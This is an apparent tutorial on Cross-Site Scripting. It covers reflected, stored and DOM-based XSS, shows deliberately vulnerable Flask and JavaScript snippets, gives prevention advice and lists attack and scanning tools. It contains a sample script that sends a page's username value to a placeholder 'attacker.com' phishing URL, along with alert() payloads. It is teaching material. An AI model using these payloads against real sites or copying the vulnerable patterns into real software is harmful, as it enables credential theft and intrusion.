π¨ EXTREMELY IMPORTANT! Before we start, XSS is the most important vulnerability of all, present in over 40% of websites π. Letβs pay full attention not only to this vulnerability but also to the entire OWASP Top 10.
Cross-Site Scripting (XSS) is when a website has unvalidated data inputs that allow an attacker to inject HTML, CSS, or JavaScript code into the target page. For example:
If you look closely, when you use google.com to search for something like "What is XSS?", the search term you entered is added to the URL of the search results page as a "query string" as follows:
1https:/search?q=what+is+xss
Any combination of characters we use to search becomes part of the search results URL and then becomes part of the <body>
of the results page.
If we inject the text "What is XSS?"
into the google.com page, we might be able to inject a JS script that opens a new modal:
1https:/search?q=<script>alert('Hello World')</script>
π We have successfully included our code into Google's page! Click here to see it.
The bad news is that, even though our code <script>alert('Hello World')</script>
appears within the source code of google.com, it is not executing! π
Google is likely converting our code into harmless characters to prevent the web browser from interpreting it.
A simple <script>alert('Hello World')</script>
is harmless, but the following script would be much worse:
1<script> 2 window.location = "http://attacker.com/phishing-page?data=" + document.getElementById('username').value; 3</script>
This attack could be used to redirect users to a phishing page that appears legitimate but is controlled by the attacker. In the process, the attacker could steal the username or other sensitive information that the user entered on the original site. This could lead to credential theft or tricking the user into providing more information on the phishing page.
<script>
Tag: The attacker injects a <script>
tag into the web page. When the page loads, the victimβs browser will execute this script.
π¨ Malicious Redirection: The script uses window.location
to redirect the user to a URL controlled by the attacker, in this case, http://attacker.com/phishing-page
. The key part of this redirection is that the script also attaches sensitive data to the URL.
π User Information Theft: The script gets the value of the input field with the ID username
, which could be the username or other sensitive information that the user entered on the page. This value is attached to the phishing pageβs URL and sent to the attackerβs server.
Imagine a social network where users can post comments on other users' profiles. These comments are stored in a database and displayed every time someone visits the profile.
Example of Vulnerable Code:
1@app.route('/post_comment', methods=['POST']) 2def post_comment(): 3 comment = request.form['comment'] 4 comments.append(comment) # Store comment without sanitizing 5 return "Comment posted" 6 7@app.route('/view_comments') 8def view_comments(): 9 comments_html = "".join(f"<p>{comment}</p>" for comment in comments) 10 return render_template_string(comments_html) # Vulnerable to XSS
Attack: An attacker can post a comment like the following:
1<script>alert('Stored XSS');</script>
When other users visit the profile page, this script will execute in their browsers, displaying an alert or performing some malicious action.
Scenario: A web page uses JavaScript to display URL content directly in the DOM as part of a feature that shows a personalized greeting.
Example of Vulnerable Code:
1<!-- HTML - Code that manipulates the DOM --> 2<!DOCTYPE html> 3<html> 4<head> 5 <title>Welcome</title> 6</head> 7<body> 8 <h1>Welcome</h1> 9 <p id="greeting"></p> 10 <script> 11 var greeting = "Hello " + window.location.search.substring(1); 12 document.getElementById("greeting").innerHTML = greeting; 13 </script> 14</body> 15</html>
Attack: An attacker could send a malicious link:
http://example.com/index.html?name=<script>alert('DOM XSS');</script>
When this URL is opened, the victim's browser will execute the malicious script because the content of the name
parameter is inserted directly into the DOM without being sanitized.
An attacker can carry out various malicious actions through a Cross-Site Scripting (XSS) attack, depending on the type of XSS and the context in which the vulnerability is exploited. Below are some of the most common actions an attacker could achieve using XSS:
Preventing Cross-Site Scripting (XSS) attacks is crucial to protecting your web applications and users. Below are some recommended practices to prevent XSS in your applications:
Escape all data that is inserted into the HTML before rendering it on the page. This means converting special characters like <
, >
, &
, and "
into their corresponding HTML entities.
1from flask import escape 2safe_string = escape(unsafe_string)
1const escape = require('escape-html'); 2let safeString = escape(unsafeString);
Use template engines that automatically escape inserted content. Most
modern frameworks, like Flask (with Jinja2), Django, Laravel (Blade), and Express (with EJS or Pug), escape content by default.
1{{ user_input }}
1<%= userInput %>
Validate and sanitize user input to ensure it contains only what you expect. Remove or encode any unsafe parts.
1from wtforms import StringField 2from wtforms.validators import InputRequired, Length 3 4class MyForm(FlaskForm): 5 name = StringField('Name', validators=[InputRequired(), Length(max=100)])
1const { body } = require('express-validator'); 2 3app.post('/submit', [ 4 body('username').isAlphanumeric().trim().escape() 5], (req, res) => { 6 // Handle request 7});
Implement a Content Security Policy (CSP) to limit the sources from which scripts can be loaded. This helps mitigate XSS by blocking the execution of unauthorized scripts.
Example of CSP Header:
1Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com
Ensure that session cookies have the HttpOnly
and Secure
flags so that they cannot be accessed by JavaScript or transmitted over an insecure connection.
1response.set_cookie('sessionid', value=session_id, httponly=True, secure=True)
1res.cookie('sessionid', session_id, { httpOnly: true, secure: true });
Avoid using JavaScript code directly in HTML tags (<script>
, onload=
, onclick=
, etc.). Use external script files or declare functions in a separate JS file.
π« Bad:
1<img src="image.jpg" onerror="alert('XSS')">
β Good:
1<img src="image.jpg" id="image"> 2<script> 3 document.getElementById('image').addEventListener('error', function() { 4 alert('XSS'); 5 }); 6</script>
If you must allow users to submit HTML (e.g., in a rich text editor), use a library that sanitizes the HTML and removes any dangerous code.
1from bleach import clean 2 3safe_html = clean(unsafe_html)
1const sanitizeHtml = require('sanitize-html'); 2let safeHtml = sanitizeHtml(unsafeHtml);
There are several tools used by security professionals and attackers to identify and exploit Cross-Site Scripting (XSS) vulnerabilities in web applications. These tools can automate the discovery process of XSS or facilitate the exploitation of existing vulnerabilities. Below are some of the most well-known tools for attacking with XSS:
Here is a comparative table of the main tools used to attack and detect Cross-Site Scripting (XSS) vulnerabilities:
π§ Tool | π Description | βοΈ Main Features | π License | π Complexity Level |
---|---|---|---|---|
Burp Suite | Professional tool for penetration testing in web applications. | Automated XSS scanning, proxy, request modification, repeater. | Commercial (limited free version) | High |
OWASP ZAP | Free and open-source tool for security testing in web applications. | Automated XSS scanning, proxy, fuzzing, and manual analysis. | Open Source | Medium |
XSSer | Specialized tool for detecting and exploiting XSS vulnerabilities. | Detection and exploitation of XSS (stored, reflected, DOM), custom payloads. | Open Source | Medium |
BeEF | Advanced framework for exploiting compromised web browsers. | Control of victim browsers, command execution, integration with other tools. | Open Source | High |
XSStrike | Advanced tool for analysis, detection, and exploitation of XSS. | Payload analysis, WAF bypass, manual and automated scanning. | Open Source | Medium |
SQLMap | Tool for SQL injection testing with limited support for XSS. | SQL injection scanning and exploitation, integration with XSS. | Open Source | High |
wfuzz | Fuzzing tool for testing web applications, useful for finding XSS. | Parameter fuzzing, support for custom lists (XSS payloads). | Open Source | Medium |
Google Dorking | Advanced Google search technique to find vulnerable applications. | Public vulnerability search. | - | Low |
Each tool has its strengths and is suited to different needs and experience levels, from beginners to advanced cybersecurity professionals.